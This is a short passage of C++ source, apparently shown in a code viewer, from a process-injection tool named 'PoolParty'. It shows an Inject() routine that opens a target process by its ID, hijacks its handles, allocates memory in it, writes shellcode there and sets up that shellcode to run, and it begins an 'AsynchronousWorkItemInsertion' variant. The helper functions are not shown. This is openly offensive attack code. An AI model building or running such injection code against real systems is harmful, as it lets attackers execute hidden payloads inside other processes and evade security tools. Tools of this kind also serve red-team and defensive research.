| 61 | } |
| 62 | |
| 63 | void PoolParty::Inject() |
| 64 | { |
| 65 | BOOST_LOG_TRIVIAL(info) << boost::format("Starting PoolParty attack against process id: %d") % m_dwTargetPid; |
| 66 | m_p_hTargetPid = this->GetTargetProcessHandle(); |
| 67 | this->HijackHandles(); |
| 68 | m_ShellcodeAddress = this->AllocateShellcodeMemory(); |
| 69 | this->WriteShellcode(); |
| 70 | this->SetupExecution(); |
| 71 | BOOST_LOG_TRIVIAL(info) << "PoolParty attack completed successfully"; |
| 72 | } |
| 73 | |
| 74 | AsynchronousWorkItemInsertion::AsynchronousWorkItemInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize) |
| 75 | : PoolParty{ dwTargetPid, cShellcode, szShellcodeSize } |
no test coverage detected